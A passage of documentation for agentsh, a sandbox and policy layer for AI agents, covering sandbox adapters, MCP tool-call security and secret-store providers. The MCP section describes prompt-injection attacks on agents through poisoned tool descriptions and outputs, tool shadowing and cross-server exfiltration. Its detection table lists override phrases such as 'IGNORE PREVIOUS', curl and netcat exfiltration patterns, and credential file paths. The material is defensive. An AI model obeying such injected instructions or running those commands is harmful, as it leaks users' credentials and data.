your policy overrides here }); ``` ```python from agentsh_secure_sandbox import secure_sandbox from agentsh_secure_sandbox.adapters.modal import modal, modal_defaults sandbox = await secure_sandbox(modal(modal_sandbox), **modal_defaults()) # pre-configured for gVisor/ptrace ``` `modalDefaults()` returns a `Partial` pre-configured for gVisor: - Ptrace enabled with all four trace subsystems (execve, file, network, signal) - seccomp pre-filter disabled (not supported on gVisor) - FUSE deferred mode enabled - Unix sockets and cgroups disabled - `allowDegraded: true` — starts even if FUSE/seccomp fail #### Runloop Adapter Runloop Devboxes run as a non-root user (`runloop`) with passwordless sudo. The Runloop adapter uses the Runloop API client for command execution and file operations. ```typescript import Runloop from '@runloop/api-client'; import { secureSandbox, adapters } from '@agentsh/secure-sandbox'; const client = new Runloop(); const devbox = await client.devboxes.createAndAwaitRunning({ blueprint_id: 'my-bp' }); const sandbox = await secureSandbox( adapters.runloop({ client, id: devbox.id }), adapters.runloopDefaults(), // pre-configured for Runloop ); ``` ```python from runloop import Runloop from agentsh_secure_sandbox import secure_sandbox from agentsh_secure_sandbox.adapters import runloop, runloop_defaults client = Runloop() devbox = await client.devboxes.create_and_await_running(blueprint_id="my-bp") sandbox = await secure_sandbox( runloop(client=client, id=devbox.id), **runloop_defaults(), ) ``` `runloopDefaults()` returns a `Partial` pre-configured for Runloop Devboxes: - seccomp file_monitor with `enforce_without_fuse: true` - FUSE deferred mode (activated via `sudo chmod 666 /dev/fuse`) - Landlock, cgroups, and unix sockets enabled - Network proxy in `all` intercept mode - LLM proxy with DLP redaction (including custom patterns for Runloop, OpenAI, Anthropic, AWS, GitHub keys) - `allowDegraded: true` — starts even if some enforcement layers fail #### exe.dev Adapter exe.dev VMs are persistent, SSH-accessible VMs accessed through the exe.dev gateway. The adapter routes commands as `ssh exe.dev ssh `. VMs must be created externally via `ssh exe.dev new`. ```typescript import { secureSandbox, adapters } from '@agentsh/secure-sandbox'; // VM already created: ssh exe.dev new --name=my-vm --image=ubuntu:22.04 const sandbox = await secureSandbox( adapters.exe('my-vm'), adapters.exeDefaults(), // pre-configured hybrid ptrace+seccomp mode ); ``` ```python from agentsh_secure_sandbox import secure_sandbox from agentsh_secure_sandbox.adapters import exe, exe_defaults ## VM already created: ssh exe.dev new --name=my-vm --image=ubuntu:22.04 sandbox = await secure_sandbox( exe("my-vm"), **exe_defaults(), ) ``` `exeDefaults()` returns a `Partial` pre-configured for exe.dev’s hybrid enforcement mode: - **Hybrid ptrace+seccomp** — ptrace handles execve interception while seccomp file_monitor handles file enforcement - seccomp file_monitor with `enforce_without_fuse: true` - FUSE deferred mode (activated via `chmod 666 /dev/fuse`) - Landlock, cgroups, and unix sockets enabled - Network proxy in `all` intercept mode - LLM proxy with DLP redaction - `allowDegraded: false` — fails if enforcement layers cannot start #### Freestyle Adapter [Freestyle](https://freestyle.sh) provides Firecracker-backed Linux VMs accessed via the `freestyle-sandboxes` SDK. The adapter uses Freestyle’s typed filesystem API (`vm.fs.*`) for file operations and the VM exec API for commands. Use `configureFreestyleSpec` to bake agentsh into a `VmSpec` snapshot, or boot a stock VM and let `freestyleDefaults()` install agentsh on first start. ```typescript import { freestyle as freestyleClient, VmSpec } from 'freestyle-sandboxes'; import { secureSandbox } from '@agentsh/secure-sandbox'; import { freestyle, freestyleDefaults, configureFreestyleSpec } from '@agentsh/secure-sandbox/adapters/freestyle'; const fs = freestyleClient({ apiKey: process.env.FREESTYLE_API_KEY }); // Option A: bake agentsh into a snapshot (one-time, faster cold-start) const spec = configureFreestyleSpec(new VmSpec().snapshot()); const { vm } = await fs.vms.create({ spec }); // Option B: stock VM — agentsh installs on first start // const { vm } = await fs.vms.create({ spec: new VmSpec() }); const sandbox = await secureSandbox(freestyle(vm), freestyleDefaults()); await sandbox.exec('echo hello'); await sandbox.stop(); ``` ```python import os from agentsh_secure_sandbox import secure_sandbox from agentsh_secure_sandbox.adapters.freestyle import ( FreestyleClient, freestyle, freestyle_defaults, ) async with FreestyleClient(api_key=os.environ["FREESTYLE_API_KEY"]) as client: vm = await client.create_sandbox_vm() try: sandbox = await secure_sandbox(freestyle(vm), **freestyle_defaults()) await sandbox.exec("echo hello") finally: await vm.stop() ``` `freestyleDefaults()` returns a `Partial` tuned for the Freestyle kernel: - seccomp execve interception enabled (command blocking) - seccomp file_monitor disabled — conflicts with FUSE without Yama - FUSE in deferred mode (activated via `sudo /bin/chmod 666 /dev/fuse` at first session) - Network proxy in `all` intercept mode with cloud-metadata and RFC1918 blocked - LLM proxy with DLP redaction (OpenAI / Anthropic / AWS / GitHub / JWT / Slack patterns) - cgroups + unix sockets enabled, workspace at `/home/user` - `allowDegraded: true` — the runtime settles into `minimal` security mode (no Landlock on the current Freestyle kernel; see callout above) --- # MCP Security Source: https://www.agentsh.org/docs/mcp-security/ ## MCP Security ### MCP Security agentsh secures **Model Context Protocol (MCP)** tool calls. When AI agents use MCP servers, agentsh intercepts every tool call at the LLM proxy layer, evaluates it against configurable policies, detects cross-server attack patterns, and blocks or permits execution with full audit trails. Why MCP Security matters MCP servers extend AI agent capabilities with external tools — databases, APIs, file systems. Without enforcement, a compromised or malicious MCP server can exfiltrate data, shadow legitimate tools, or orchestrate cross-server attacks. agentsh sits between the LLM and the agent runtime, ensuring every MCP tool call is evaluated before the agent can execute it. #### Architecture MCP security operates at three layers: the **protocol inspection layer** scans tool definitions and results for poisoning patterns, the **LLM proxy layer** intercepts tool calls in LLM responses and evaluates cross-server attack patterns, and the **network monitor layer** enforces network-level policy on actual TCP connections made by MCP server processes. _(Mermaid diagram omitted)_ 1. Agent sends request to LLM via proxy 2. LLM responds with tool_use blocks 3. Proxy extracts tool calls (Anthropic/OpenAI format) 4. Each tool call checked: registry → cross-server → rate limit → version pin → policy 5. Blocked tools rewritten to text blocks; agent sees “[agentsh] Tool blocked” 6. Allowed tools pass through; protocol inspector scans definitions and results for poisoning patterns 7. Network monitor enforces TCP/HTTP policy on all outbound connections from MCP server processes ### Attack Detection agentsh detects seven categories of attacks using a **session analyzer** that maintains a sliding window of tool call history, and a **pattern detector** that scans tool definitions and results. Rules are evaluated atomically to prevent time-of-check/time-of-use (TOCTOU) races. #### Tool Shadowing CRITICAL Detects when a malicious MCP server registers a tool with the **same name** as a tool from a legitimate server. The attacker's tool “shadows” the original, intercepting calls meant for the real tool. _(Mermaid diagram omitted)_ - **Detection:** Registry tracks tool name collisions across servers. Any duplicate name triggers an immediate block. - **Severity:** Critical — all uses of the shadowed tool name are blocked. - **Default:** Always enabled (cannot be disabled). #### Read-Then-Send CRITICAL Detects when one MCP server reads sensitive data and a **different** server attempts to send data externally. This is the classic data exfiltration pattern. _(Mermaid diagram omitted)_ - **Detection:** Tracks tool categories (read, write, send, compute) per server. When a “send”-category tool fires after a “read” from a different server, the send is blocked. - **Window:** Configurable (default: 30 seconds). - **Categories:** Tools are classified by name prefix — `read_`, `get_`, `fetch_` are “read”; `send_`, `post_`, `email_` are “send”. #### Cross-Server Flow HIGH A broader version of read-then-send that detects suspicious data flows between servers. Catches write, compute, and unknown-category tools following reads from a different server. - **Detection:** Blocks when write/send/compute/unknown tools follow reads from a different server within the window. - **Window:** Configurable (default: 30 seconds). - **Same-turn mode:** Optionally restrict to tool calls in the same LLM request turn (default: enabled). #### Burst Detection HIGH Detects rapid-fire tool calls from a single server, suggesting automated data exfiltration or denial-of-service behavior. - **Detection:** Per-server timestamp tracking. When a server exceeds `max_calls` within `window`, further calls are blocked. - **Default:** 10 calls per 5-second window. #### Tool Poisoning CRITICAL Detects hidden malicious instructions embedded in MCP tool **descriptions** and **input schemas**. A compromised or malicious server can inject prompt-injection payloads into tool metadata that the LLM reads and blindly follows. _(Mermaid diagram omitted)_ The detector scans tool definitions using built-in regex patterns across five categories. Patterns are applied to tool definitions (description and input schema), tool call arguments, sampling request text content, and tool call results (when output inspection is enabled). Custom detection-pattern YAML is not a supported configuration surface in this build. ```yaml ## Supported MCP detection controls sandbox: mcp: output_inspection: enabled: true on_detection: "alert" # allow | alert | block sampling: policy: "block" # allow | alert | block ``` ##### Detection Pattern Categories agentsh scans tool definitions, tool call arguments, and sampling request content for dangerous patterns across five severity categories: | Category | Severity | Example Patterns | | --- | --- | --- | | Credential Theft | CRITICAL | `.ssh/id_`, `.env`, `/etc/passwd`, `/etc/shadow`, `api_key`, `secret_key`, `access_token` | | Exfiltration | HIGH | `curl ... https://`, `wget`, `netcat`, `base64 \| curl`, pipe to `curl` | | Hidden Instructions | HIGH | `IMPORTANT: before/always/must`, `IGNORE PREVIOUS`, `SYSTEM OVERRIDE`, `DO NOT SHOW` | | Shell Injection | MEDIUM | `; cmd`, `&& cmd`, `$(cmd)`, backtick execution | | Path Traversal | MEDIUM | `../../`, `/etc/`, `/root/`, `/home/user/.` (hidden files) | - **Scan scope:** Tool `description` field and all string values within `inputSchema` (recursively walked with JSON path tracking). - **Match context:** Each detection includes 50 characters of surrounding context for human review. - **Custom patterns:** Add your own regex patterns via configuration (see below). #### Tool Output Poisoning CRITICAL Scans every tool call **result** returned by MCP servers for prompt injection payloads. A compromised server can embed hidden instructions in its output that the LLM interprets as commands. _(Mermaid diagram omitted)_ - **Detection:** Scans all text content blocks from `tools/call` responses using the same pattern engine as Tool Poisoning. - **Patterns:** Hidden instructions (`SYSTEM OVERRIDE`, `IGNORE PREVIOUS`), exfiltration URLs (`curl`, `wget`, `https://`), credential references. - **Action:** Configurable — `alert` (emit event, allow result) or `block` (return JSON-RPC error to client instead of the poisoned result). ```yaml sandbox: mcp: output_inspection: enabled: true on_detection: "block" # allow | alert | block ``` #### Server Name Typosquatting HIGH Detects when a new MCP server registers with a name that is **suspiciously similar** to an existing server. An attacker can register `notes-servar` to impersonate `notes-server`, hoping the LLM routes tool calls to the impostor. _(Mermaid diagram omitted)_ - **Algorithm:** Levenshtein edit distance normalized to a similarity score between 0.0 (completely different) and 1.0 (identical). - **Threshold:** Configurable (default: 0.85). Names exceeding the threshold trigger an `mcp_server_name_similarity` event. - **Scope:** Compares against all known server IDs from the session’s sliding window, burst tracking, and shadow entries. - **Exact matches:** Return score 1.0 immediately (handled as duplicates, not typosquatting). ```yaml sandbox: mcp: cross_server: shadow_tool: similarity_check: true # Enable typosquatting detection similarity_threshold: 0.85 # Score range: 0.0–1.0 ``` #### Attack Summary | Attack | Rule | Severity | What It Catches | | --- | --- | --- | --- | | Tool Shadowing | `shadow_tool` | CRITICAL | Attacker server overwrites a legitimate tool name | | Data Exfiltration | `read_then_send` | CRITICAL | Server A reads secrets, Server B sends them out | | Suspicious Data Flow | `cross_server_flow` | HIGH | Write/compute follows cross-server read | | Rapid Exfiltration | `burst` | HIGH | Rapid-fire tool calls from one server | | Tool Poisoning | `tool_poisoning` | CRITICAL | Hidden instructions or credential theft in tool descriptions | | Output Poisoning | `output_poisoning` | CRITICAL | Prompt injection in tool call results | | Tool Rug Pull | `version_pin` | CRITICAL | Tool definition or binary silently changed after initial registration | | Server Typosquatting | `name_similarity` | HIGH | Server name impersonates a legitimate server via similar spelling | ### Tool Call Interception The LLM proxy intercepts every tool call in LLM responses before the agent can execute them. It supports both **Anthropic** and **OpenAI** response formats, for both buffered and streaming (SSE) responses. #### Evaluation Order Each tool call is evaluated through a chain of checks. The first check that blocks wins: _(Mermaid diagram omitted)_ #### Response Rewriting When tool calls are blocked, the proxy rewrites the LLM response so the agent sees a blocked message instead of the tool call. | Scenario | Anthropic Behavior | OpenAI Behavior | | --- | --- | --- | | All tools blocked | `tool_use` blocks → `text` blocks; `stop_reason` → `"end_turn"` | `tool_calls` removed; `content` set to blocked msg; `finish_reason` → `"stop"` | | Some tools blocked | Blocked `tool_use` → `text`; `stop_reason` stays `"tool_use"` | Blocked calls removed from array; `finish_reason` stays `"tool_calls"` | The agent sees: `[agentsh] Tool 'send_email' blocked by policy` #### SSE Streaming Interception For streaming responses (Server-Sent Events), agentsh evaluates tool calls in real-time as SSE chunks arrive, without buffering the entire response. Blocked tool events are **suppressed mid-stream** and replaced with text blocks. - **Anthropic SSE:** Intercepts at `content_block_start` events. Blocked tool_use blocks are suppressed and replaced with text content blocks. - **OpenAI SSE:** Intercepts at the first delta chunk containing a tool call ID and function name. Subsequent argument chunks for blocked tools are filtered out. - **Zero buffering:** Line-by-line SSE parsing with a 256KB buffer. No waiting for the full response. #### Sampling Request Control MCP servers can request LLM access via `sampling/createMessage`. agentsh intercepts these requests and applies policy before they reach the model. | Policy | Behavior | | --- | --- | | `block` | Reject the sampling request (default) | | `alert` | Allow but emit an audit event | | `allow` | Allow the sampling request | ```yaml sandbox: mcp: sampling: policy: "block" # Default: block all sampling requests per_server: trusted-server: "allow" # Override for specific servers analytics: "alert" # Allow with audit logging ``` Message content is scanned for hidden instructions before the sampling request is processed. Rate limits apply to sampling calls — they count against the server's rate limit budget. ### Policy Configuration MCP security is configured in the `sandbox.mcp` section of your agentsh configuration, or in the `mcp_rules` section of a policy file. ```yaml ## agentsh.yaml sandbox: mcp: enforce_policy: true # Master switch for MCP enforcement fail_closed: false # Block unknown tools (not in any rule)? ``` #### Server Policies Control which MCP servers are allowed to provide tools. Evaluated **before** tool-level policies. | Mode | Behavior | | --- | --- | | `allowlist` | Only listed servers allowed; all others denied | | `denylist` | Listed servers denied; all others allowed | | `none` | No server-level filtering (default) | ```yaml sandbox: mcp: server_policy: "allowlist" allowed_servers: - id: "internal-*" # Glob patterns supported - id: "llm-tools" denied_servers: # Used when server_policy: "denylist" - id: "untrusted_*" ``` #### Tool Policies Fine-grained control over individual tools. Each rule matches on server pattern, tool pattern, and optional content hash. | Mode | Behavior | | --- | --- | | `allowlist` | Only listed tools allowed; others denied | | `denylist` | Listed tools denied; others allowed | | `none` | No tool-level filtering (default) | ```yaml sandbox: mcp: tool_policy: "allowlist" allowed_tools: - server: "database" # Server glob pattern tool: "query_*" # Tool glob pattern content_hash: "sha256:1a2b3c..." # Optional hash pin - server: "filesystem" tool: "read_file" - server: "notes" tool: "write_note" denied_tools: # Used when tool_policy: "denylist" - server: "*" tool: "exec_*" # Block all exec tools from any server ``` Rule matching All three fields (server, tool, content_hash) must match for a rule to fire. Server and tool fields use **glob patterns** (`*`, `?`). Content hash is an exact match when specified, or ignored when empty. ### Version Pinning Detect when MCP tool definitions change after initial registration. This catches supply-chain attacks where a tool's behavior is silently modified. ```yaml sandbox: mcp: version_pinning: enabled: true on_change: "block" # block | alert | allow auto_trust_first: true # Pin hash on first use pin_binary: true # Also pin the server executable ``` | Option | Description | | --- | --- | | `on_change: "block"` | Reject tool calls if the definition hash differs from the pinned hash | | `on_change: "alert"` | Allow the call but emit a version-pin alert event | | `on_change: "allow"` | Ignore hash changes entirely | | `auto_trust_first` | Automatically pin the hash when a tool is first seen (no manual pinning required) | | `pin_binary` | Also compute and pin a SHA-256 hash of the MCP server executable (see Binary Pinning) | You can also manually manage pins via the CLI: ```bash ## Pin a tool at its current hash agentsh mcp pins trust --server my-server --tool read_file --hash abc123 ## Show difference between pinned and current version agentsh mcp pins diff --server my-server --tool read_file ## List all pinned tool versions agentsh mcp pins list --json ## Remove a tool's version pin agentsh mcp pins reset --server my-server --tool read_file ``` #### Binary Pinning (TOCTOU Protection) When `pin_binary: true` is set, agentsh also computes a **SHA-256 hash of the MCP server executable** itself. This prevents an attacker from replacing the server binary between sessions or between verification and execution (TOCTOU attack). How TOCTOU prevention works When agentsh hashes a server binary, it resolves the command to an **absolute path** and stores both the path and hash. At execution time, the stored absolute path is used directly — bypassing PATH lookup entirely. This ensures the exact binary that was verified is the binary that runs, even if an attacker manipulates PATH between verification and execution. | Pin Status | auto_trust_first: true | auto_trust_first: false | | --- | --- | --- | | `match` | Proceed normally | Proceed normally | | `not_pinned` | Pin hash and proceed | Apply `on_change` policy | | `mismatch` | Apply `on_change` policy | Apply `on_change` policy | When `on_change` is `"block"`, a binary hash mismatch prevents the MCP server from starting entirely. When `"alert"`, the server starts but an `mcp_server_binary_mismatch` event is emitted. #### TLS Fingerprint Pinning Pin HTTP and SSE MCP servers to a specific TLS public key using SPKI (Subject Public Key Info) fingerprints. Unlike certificate pinning, SPKI pinning survives certificate renewals as long as the key pair remains the same. ```yaml sandbox: mcp: servers: - id: "secure-api" type: "http" url: "https://mcp.example.com" tls_fingerprint: "sha256:a1b2c3d4e5f6..." # SPKI SHA-256 hash (64 hex chars) ``` The fingerprint is the SHA-256 hash of the server certificate's Subject Public Key Info in DER format. To extract it from a running server: ```text ## Extract SPKI fingerprint from a server openssl s_client -connect mcp.example.com:443 < /dev/null 2>/dev/null \ | openssl x509 -pubkey -noout \ | openssl pkey -pubin -outform DER \ | openssl dgst -sha256 -hex ``` If the fingerprint field is empty or omitted, no TLS pinning is applied. On mismatch, the connection is rejected and an audit event is emitted. ### Rate Limiting Enforce per-server call rate limits to prevent abuse and contain runaway tool usage. ```yaml sandbox: mcp: rate_limits: enabled: true default_rpm: 100 # Default calls per minute default_burst: 10 # Default burst allowance per_server: # Per-server overrides external-api: calls_per_minute: 10 burst: 2 internal-tools: calls_per_minute: 500 burst: 50 ``` #### Cross-Server Detection Configuration Fine-tune the cross-server attack detection rules: ```yaml sandbox: mcp: cross_server: enabled: true # Master switch for cross-server detection shadow_tool: enabled: true # Tool name collision detection (always recommended) read_then_send: enabled: true window: "30s" # Time window for read→send correlation burst: enabled: true max_calls: 10 # Maximum calls before triggering window: "5s" # Burst detection window cross_server_flow: enabled: true same_turn_only: true # Only flag flows within the same LLM request window: "30s" # Cross-server flow detection window ``` ### Environment Variable Filtering Control which environment variables are passed to MCP server processes. This prevents credential leakage to untrusted servers — an MCP server should not have access to `AWS_SECRET_ACCESS_KEY` or `ANTHROPIC_API_KEY` unless explicitly permitted. ```yaml sandbox: mcp: servers: - id: "github-server" command: "npx" args: ["-y", "@modelcontextprotocol/server-github"] env_allow: ["GITHUB_TOKEN"] # Only GITHUB_TOKEN + standard vars - id: "data-server" command: "python" args: ["server.py"] env_deny: ["AWS_*", "ANTHROPIC_API_KEY"] # Strip these, pass all others ``` | Mode | Behavior | | --- | --- | | `env_allow` set | Only listed variables (plus standard OS variables) are passed. Sensitive-suffix variables are auto-stripped unless explicitly listed. | | `env_deny` set | Listed variables are stripped; all others pass through. | | Both empty | Full passthrough (backward compatible). | | Both set | Allowlist takes precedence. | **Standard variables** are always passed through, even in allowlist mode: `PATH`, `HOME`, `USER`, `SHELL`, `TERM`, `LANG`, `TMPDIR`, `XDG_RUNTIME_DIR` (and Windows equivalents like `SYSTEMROOT`, `COMSPEC`, `TEMP`). **Sensitive suffix auto-stripping** (allowlist mode only): variables ending in `_TOKEN`, `_KEY`, `_SECRET`, `_API_KEY`, `_PASSWORD`, or `_CREDENTIALS` are automatically removed unless explicitly listed in `env_allow`. Security Stripped variable names are logged for debugging, but their **values are never logged**. On Windows, environment variable names are case-insensitive and normalized to uppercase for comparison. ### Transport Policy Restrict which transport types MCP servers can use. When `allowed_transports` is set, servers using other transports are rejected at config load time. ```yaml sandbox: mcp: allowed_transports: # Empty = all allowed (default) - "stdio" # Local process communication - "sse" # Server-sent events over HTTP ``` | Transport | Description | | --- | --- | | `stdio` | Local subprocess communication via stdin/stdout | | `http` | HTTP request/response | | `sse` | Server-sent events over HTTP (streaming) | If a declared server's `type` does not match `allowed_transports`, agentsh returns a configuration error and refuses to start. ### MCP Policy Generation The **profile-then-lock** workflow extends to MCP tools. After running a session, `policy generate` produces a policy that includes an `mcp_rules` section with all observed tools, servers, and content hashes. ```bash ## Generate a policy including MCP rules from observed behavior agentsh policy generate "$SID" --output=locked.yaml ## The generated policy includes mcp_rules: ## - Allowed tools with content hashes for version pinning ## - Allowed servers ## - Blocked tools as comments for review ## - Version pinning and cross-server rules enabled ``` #### Example Generated MCP Policy ```text mcp_rules: enforce_policy: true tool_policy: "allowlist" allowed_tools: # Provenance: 2 events (10:30:17 - 10:30:18) - server: "notes" tool: "read_note" content_hash: "sha256:a1b2c3" # Provenance: 1 events (10:30:17) - server: "notes" tool: "write_note" content_hash: "sha256:d4e5f6" server_policy: "allowlist" allowed_servers: - id: "notes" - id: "web-search" # --- Blocked tools (uncomment to allow) --- # denied_tools: # - server: "web-search" # tool: "fetch_url" version_pinning: enabled: true on_change: "block" auto_trust_first: true cross_server: enabled: true read_then_send: enabled: true ``` ### CLI Commands ```bash ## List registered MCP tools agentsh mcp tools --json ## List known MCP servers agentsh mcp servers ## Query tool call interception events agentsh mcp calls --session $SID --action block ## Query MCP-related events agentsh mcp events --session $SID --type mcp_tool_changed --since 1h ## Show tools with security detections agentsh mcp detections --severity high ## Pin management agentsh mcp pins trust --server my-server --tool read_file --hash abc123 agentsh mcp pins diff --server my-server --tool read_file agentsh mcp pins list --json agentsh mcp pins reset --server my-server --tool read_file ``` #### REST API Query MCP state programmatically via the REST API. All endpoints require authentication unless `dev.disable_auth` is set. | Endpoint | Description | Query Parameters | | --- | --- | --- | | `GET /api/v1/mcp/tools` | List discovered MCP tools | `server` — filter by server ID `detections` — filter tools with detections | | `GET /api/v1/mcp/servers` | List MCP server summaries | None | ```bash ## List all tools from a specific server curl -H "Authorization: Bearer $TOKEN" \ http://localhost:8080/api/v1/mcp/tools?server=my-server ## List tools with detections only curl -H "Authorization: Bearer $TOKEN" \ http://localhost:8080/api/v1/mcp/tools?detections=true ## List all MCP servers curl -H "Authorization: Bearer $TOKEN" \ http://localhost:8080/api/v1/mcp/servers ``` ### MCP Event Reference All MCP events are emitted to the session event store and can be forwarded via OpenTelemetry. | Event Type | When Emitted | Key Fields | | --- | --- | --- | | `mcp_tool_seen` | Tool registered for first time | serverID, toolName, toolHash, description | | `mcp_tool_changed` | Tool definition changes | serverID, toolName, previousHash, newHash | | `mcp_tool_called` | Tool call in MCP request | serverID, toolName, input | | `mcp_tool_call_intercepted` | Tool call evaluated by proxy | action (allow\|block), reason, serverID, toolHash | | `mcp_cross_server_blocked` | Cross-server rule fired | rule, severity, relatedCalls | | `mcp_network_connection` | Network connection to known MCP server | serverID, serverAddr, protocol | | `mcp_detection` | Security anomaly detected in tool definition | detectionType, severity, description | | `mcp_server_name_similarity` | Server name suspiciously similar to a known server | serverID, similarTo, score | | `mcp_output_inspection` | Tool result scanned for prompt injection (output poisoning) | serverID, toolName, action (allow\|block), detections[] | | `mcp_server_binary_mismatch` | Server executable hash differs from pinned hash | serverID, binaryPath, expectedHash, actualHash | #### Full Configuration Reference ```yaml sandbox: mcp: enforce_policy: true # Enable MCP enforcement (default: false) fail_closed: false # Block unknown tools (default: false) # Server-level policy server_policy: "allowlist" # allowlist | denylist | none allowed_servers: - id: "internal-*" denied_servers: - id: "untrusted_*" # Tool-level policy tool_policy: "allowlist" # allowlist | denylist | none allowed_tools: - server: "database" tool: "query_*" content_hash: "sha256:..." denied_tools: - server: "*" tool: "exec_*" # Version pinning version_pinning: enabled: true on_change: "block" # block | alert | allow auto_trust_first: true pin_binary: true # Pin server executable hash (TOCTOU protection) # Rate limiting rate_limits: enabled: true default_rpm: 100 default_burst: 10 per_server: external-api: calls_per_minute: 10 burst: 2 # Cross-server attack detection cross_server: enabled: true shadow_tool: enabled: true similarity_check: true # Typosquatting detection similarity_threshold: 0.85 # Levenshtein similarity threshold read_then_send: enabled: true window: "30s" burst: enabled: true max_calls: 10 window: "5s" cross_server_flow: enabled: true same_turn_only: true window: "30s" # Tool result inspection output_inspection: enabled: true on_detection: "block" # allow | alert | block # Per-server declarations servers: - id: "my-server" command: "npx" args: ["-y", "@modelcontextprotocol/server-example"] env_allow: ["GITHUB_TOKEN"] # Allowlist: only these + standard vars env_deny: ["AWS_*"] # Denylist: strip these vars ``` --- # Secrets Source: https://www.agentsh.org/docs/secrets/ ## Secrets Configure HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, 1Password Connect, and OS Keyring as secret sources for agentsh. Secrets are addressed via a URI scheme and consumed by HTTP services and other features that need credentials. ### Overview The agentsh secrets layer is a unified abstraction over multiple secret stores. It lets operators reference credentials by URI — `vault://kv/github#token`, `aws-sm://prod/api-key`, `op://Personal/GitHub#token` — without embedding secrets in policy files or environment variables. The most common consumer is [HTTP services](https://www.agentsh.org/docs/policy-reference/#http-services), which use `secret.ref` and `secret.format` fields on an `http_services:` entry to bind a service to a secret URI. When a session starts, agentsh fetches the real secret from the upstream provider, generates a paired fake credential, and stores both in a per-session substitution table. The agent only ever sees the fake; the daemon swaps in the real value at the network edge. **When to use the secrets layer instead of plain environment variables:** - Credentials live in an existing enterprise secret store (Vault, AWS Secrets Manager, etc.) and you want a single source of truth. - Multiple agentsh policies need the same secret and you don't want to copy it into each policy file. - You want secrets to live in the agentsh daemon (where they can be substituted in and out of agent traffic) rather than baked into every shell environment the agent inherits. - You want secret rotation handled by the upstream secret store, not by editing config files. ### URI Scheme Every secret reference in agentsh is a URI of the form `://[/][#]`. The provider scheme determines which provider handles the lookup; the host and path together identify the secret within that provider (interpretation varies per provider — for Vault it's mount point + key path, for AWS Secrets Manager it's a path-style secret name); the optional fragment selects a field within a structured secret (e.g., the `token` field of a multi-field Vault KV entry). The host component is required — a URI like `vault:///github` with no host is rejected at parse time. | Provider | URI prefix | Example | `#field` support | | --- | --- | --- | --- | | HashiCorp Vault | `vault://` | `vault://kv/github#token` | Yes (KV multi-field entries) | | AWS Secrets Manager | `aws-sm://` | `aws-sm://prod/github-token` | Yes (JSON-shaped secrets) | | GCP Secret Manager | `gcp-sm://` | `gcp-sm://github-token` | Yes (JSON-shaped secrets) | | Azure Key Vault | `azure-kv://` | `azure-kv://github-token` | Yes (JSON-shaped secrets) | | 1Password Connect | `op://` | `op://Personal/GitHub#token` | Yes (item field selector) | | OS Keyring | `keyring://` | `keyring://agentsh/github-token` | No (rejected — entries are scalar) | Resolution dispatches to the corresponding provider's lookup function based on the URI scheme. Providers are registered in the **policy file** under the top-level `providers:` key (see each provider section below for the schema). The secrets `providers:` key is unrelated to `proxy.providers` in `config.yml`, which configures Anthropic and OpenAI API base URLs. ### Providers agentsh supports six provider backends. Each provider has its own schema, authentication methods, and URI format. The sub-sections below cover each in turn. #### HashiCorp Vault [HashiCorp Vault](https://www.vaultproject.io/) is the most flexible backend agentsh supports. Use it when your organization already runs Vault or when you need fine-grained policies on individual secrets. ##### Schema ```yaml providers: vault: # provider name (referenced by URIs) type: vault address: https://vault.example.com:8200 namespace: my-namespace # optional, Vault Enterprise only auth: method: token # token | approle | kubernetes # --- for method: token --- token: hvs.CAESI... # token_ref: keyring://agentsh/vault_token # chained alternative # --- for method: approle --- # role_id: my-role-id # secret_id: my-secret-id # role_id_ref: ... # chained alternative # secret_id_ref: ... # chained alternative # --- for method: kubernetes --- # kube_role: agentsh-prod # kube_mount_path: kubernetes # default: "kubernetes" # kube_token_path: /var/run/secrets/kubernetes.io/serviceaccount/token # # default shown ``` ##### Authentication methods - **`token`** — static token. Required field: `token` (or `token_ref` for chained sourcing). Use this for development or when sourcing the token from another provider via `token_ref` (see [Provider Chaining](https://www.agentsh.org/docs/secrets/#chaining)). - **`approle`** — AppRole authentication. Required fields: `role_id` (or `role_id_ref`) and `secret_id` (or `secret_id_ref`). Use this for service-to-service authentication where the agentsh daemon has its own AppRole credentials. Both fields support chaining. - **`kubernetes`** — Kubernetes ServiceAccount authentication. Required field: `kube_role`. Optional: `kube_mount_path` (defaults to `kubernetes`) and `kube_token_path` (defaults to `/var/run/secrets/kubernetes.io/serviceaccount/token`). Use this when running agentsh in a Kubernetes pod with a configured ServiceAccount. ##### URI format `vault:///[#]` Where `` is the Vault KV mount point (e.g., `kv`, `secret`) and `` is the path to the secret within that mount. The optional fragment `#` selects a single field from the secret's JSON body. ##### Example ```yaml providers: vault: type: vault address: https://vault.corp.internal:8200 auth: method: kubernetes kube_role: agentsh-prod kube_mount_path: kubernetes ## Reference the secret in an http_services entry: http_services: - name: github upstream: https://api.github.com secret: ref: vault://kv/github#token format: "ghp_{rand:36}" inject: header: name: Authorization template: "Bearer {{secret}}" ``` [HashiCorp Vault documentation →](https://developer.hashicorp.com/vault/docs) #### AWS Secrets Manager [AWS Secrets Manager](https://aws.amazon.com/secrets-manager/) is the right backend when agentsh runs in AWS and your secrets already live in Secrets Manager. ##### Schema ```yaml providers: awssm: type: aws-sm region: us-east-1 ``` The only required field is `region`. There is no `auth:` block — authentication is delegated to the AWS SDK default credential chain. ##### Authentication The AWS-SM provider calls `awsconfig.LoadDefaultConfig`, so it picks up credentials from the standard AWS SDK chain in this order: 1. Environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`) 2. The shared credentials file (`~/.aws/credentials`), respecting `AWS_PROFILE` 3. EC2 instance profile credentials 4. ECS task role credentials (when running under ECS) 5. EKS service account credentials (IRSA, when running under EKS with a service account annotation) To use a specific profile or assumed role, set the corresponding env vars or shared-config entries *outside* agentsh before invocation — the SDK will discover them. agentsh itself does not have a profile or role-arn field. ##### URI format `aws-sm://[#]` Where `` is the Secrets Manager secret ID (the name or full ARN). The optional fragment selects a single field from a JSON-shaped secret. If omitted, the entire secret value is returned as a string. ##### Example ```yaml providers: awssm: type: aws-sm region: us-east-1 http_services: - name: github upstream: https://api.github.com secret: ref: aws-sm://prod/github-token format: "ghp_{rand:36}" inject: header: name: Authorization template: "Bearer {{secret}}" ``` [AWS Secrets Manager documentation →](https://docs.aws.amazon.com/secretsmanager/latest/userguide/intro.html) #### GCP Secret Manager [Google Cloud Secret Manager](https://cloud.google.com/security/products/secret-manager) is the right backend when agentsh runs in GCP and your secrets live in Secret Manager. ##### Schema ```yaml providers: gcpsm: type: gcp-sm project_id: my-gcp-project ``` The only required field is `project_id`. There is no `auth:` block — authentication is delegated to Google Application Default Credentials (ADC). ##### Authentication The GCP-SM provider calls `secretmanager.NewClient`, which uses Application 